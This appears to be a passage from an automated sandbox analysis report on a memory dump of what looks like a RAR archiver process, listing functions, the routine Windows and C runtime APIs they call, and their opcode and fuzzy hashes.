Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction ID: 401c196ee56c934f0598c0c3e6199775cb61109fdb35e91719d26f966ac385ae
Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
Instruction Fuzzy Hash: 30018639A99A9151EA648F29F5045696271BF58BA0F149730DB6D87BE4CF3CE8418700

Function 00007FF6BBCC7A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF6BBCC7A7B

Part of subcall function 00007FF6BBD12AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD17EF3

setbuf.LIBCMT ref: 00007FF6BBCC7A8F

Part of subcall function 00007FF6BBCC7B44: GetStdHandle.KERNEL32(?,?,?,00007FF6BBCC7A9E), ref: 00007FF6BBCC7B4A
Part of subcall function 00007FF6BBCC7B44: GetFileType.KERNELBASE(?,?,?,00007FF6BBCC7A9E), ref: 00007FF6BBCC7B56
Part of subcall function 00007FF6BBCC7B44: GetConsoleMode.KERNEL32(?,?,?,00007FF6BBCC7A9E), ref: 00007FF6BBCC7B69

Part of subcall function 00007FF6BBD12ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD12AD0

Part of subcall function 00007FF6BBD12B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD12C1C

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction ID: 98a5b58f43544f4a52c003200e2de22435dfabc90058202cc9f8e8fbc416e321
Opcode Fuzzy Hash: 4e01616fa307debef67f3bdae5e4254b32b96fa30cb3d95000aeda74735f0c5a
Instruction Fuzzy Hash: D6010000F1D69205FA1CB37D54663B55452AF99310F584379E72D863F3CE5D64128395

Function 00007FF6BBCD2440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6BBCD2480
GetLastError.KERNEL32 ref: 00007FF6BBCD248D

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction ID: d7993bbb6d00f7fc5c2760a371d5f02710446fd472af929730a4d774644ada9b
Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
Instruction Fuzzy Hash: BE017C22A48A8292EB68DF2DE4482692260FB48778F144331E73D891F5CF6CD586C740

Function 00007FF6BBCD30C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000800,00007FF6BBCD305D,?,?,?,?,?,?,?,?,00007FF6BBCE4126,?,?,?,?,00000800), ref: 00007FF6BBCD30F0
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6BBCE4126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6BBCD3119

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction ID: f1dbf7347f89a6f7fb5bfc63d8fcfd0c08688575930f6673746d0db0660150c1
Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
Instruction Fuzzy Hash: 90F04F25B18AC145EA64DB29F4593A963A0BB8C7D4F800631EB9CC37AADF6CD5848B00

Function 00007FF6BBCFB3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00000000,00007FF6BBCF7F72), ref: 00007FF6BBCFB41E
LoadLibraryExW.KERNELBASE ref: 00007FF6BBCFB449

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction ID: 72b6066ea8370721c9ac9b3aec2fade9e7531b0a2bd3c74812b27ed2296d4200
Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
Instruction Fuzzy Hash: 24F03621B289C186F674DB24E8193FA6364BF9C784F804531EACDC26B9DF2CD244CB50

Function 00007FF6BBCFBA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6BBCFBACD), ref: 00007FF6BBCFBA74
GetProcessAffinityMask.KERNEL32 ref: 00007FF6BBCFBA87

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction ID: fd19eaaee1fe523d92d28f50f1c7705f1d0c7183f108302fa47fc1af008726ab
Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
Instruction Fuzzy Hash: 43E09B61B3459146DBDD9B1DD495FAD13A0BF58B80F806035F50BC3E64DE1DD5488B00

Function 00007FF6BBD14A74 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6BBD14A8A
GetLastError.KERNEL32 ref: 00007FF6BBD14A9C

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction ID: 3b352b58d888d44c18bd0aed62541d11ea81368dfcef7a97ab5f791d227a3f23
Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
Instruction Fuzzy Hash: 34E0EC61F1A55346FF5CABFBA8151741291BF8CB44F188A34DB1DC6372EE2CA4418E48

Function 00007FF6BBCF71FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1f78030b105e8ef79cd3893a111a15daa0c47b9b3a9a9d6e170b652ba698f98
Instruction ID: 176c8c6301cc22cfb6f1a100596b3e382966391b07cf908edf8742990cd207b1
Opcode Fuzzy Hash: b1f78030b105e8ef79cd3893a111a15daa0c47b9b3a9a9d6e170b652ba698f98
Instruction Fuzzy Hash: 08E1D221A0868291FF21CB2C94582BE6771FF49B88F6441B6DF4D8B7E6DF2DA449C710

Function 00007FF6BBCB72C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCE915C: new.LIBCMT ref: 00007FF6BBCE91CA
Part of subcall function 00007FF6BBCE915C: new.LIBCMT ref: 00007FF6BBCE91F2

new.LIBCMT ref: 00007FF6BBCB73DE

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fee4be509a7d6b9010376eb7811afad9251bec75b598907398f09de2282cd6
Instruction ID: 7097bf5ecebfaf235a0ad12f157cc8e7189c3771c4c03baaf156b16ec66b8987
Opcode Fuzzy Hash: 41fee4be509a7d6b9010376eb7811afad9251bec75b598907398f09de2282cd6
Instruction Fuzzy Hash: D1511673528BD295E701DF28A8452ED37A8F744F98F58423ADB884B7AADF385051C325

Function 00007FF6BBD1231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6BBD12344

Part of subcall function 00007FF6BBD124D4: GetModuleHandleExW.KERNEL32 ref: 00007FF6BBD124F4
Part of subcall function 00007FF6BBD124D4: GetProcAddress.KERNEL32 ref: 00007FF6BBD1250A
Part of subcall function 00007FF6BBD124D4: FreeLibrary.KERNEL32 ref: 00007FF6BBD1252F

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction ID: ffbd0ba86c1cc6377009d26b621d815302b419d8c39b0782e202c8d9ab6ee73c
Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
Instruction Fuzzy Hash: 5641A021B19A6386FB6C9B5CD45017862A1FF98B40F084639DB0DD76B1DE3EE8458740

Function 00007FF6BBCC4D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF6BBCC4D47

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction ID: e509977f828cb6c65651a5b06cb0c55516180ef2fc1b435fb84da03fa32ae12e
Opcode Fuzzy Hash: 73dd7db7cbad1becb968eb67897256c98e4567ab7c48d7e0ed9ada2aa3175c64
Instruction Fuzzy Hash: 88016D12A0CA4285FA54FB1AA4143BD56B0BFADB94F488435EF4D8737ADF3DD4818384

Function 00007FF6BBD14B8C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction ID: 76cbff97918cea57660d9dfd4724f226aafcf5c036d5b27384607cdc3ec5af9d
Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction Fuzzy Hash: 0F014F54A0D66340F96C96AEAB4027A11917F8CBE4F1CC730EF2DC62F6ED2CE4014E05

Function 00007FF6BBCFA924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE ref: 00007FF6BBCFA998

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction ID: 86b3aff072b4b35d7ad01fb3b118622e909b1495c688781f36ccf535ea9a315f
Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction Fuzzy Hash: 7F01626170C6A245EE14AF1AB40406AE661FB9DFD0F5C4934EF8D8BB6ACE3CD1428704

Function 00007FF6BBCD4554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF6BBCD4590

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction ID: 4695588156d6256d0a1bfe735d836548b984eaa1eb158b1ef22ef0fb4894aa2c
Opcode Fuzzy Hash: 37315976747a324bc4a89ca9f4e050d50d4baea4dbab69f22b0b8f40f318d585
Instruction Fuzzy Hash: 9DF086359482C146DA15DB79A1092F82760BB0EBB5F084375DFBC4B2E7CF5C90858720

Function 00007FF6BBD14AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6BBD14AF2

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
